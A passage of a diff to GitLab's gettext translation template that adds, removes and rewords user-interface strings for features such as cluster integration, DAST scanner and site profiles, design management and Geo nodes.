msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
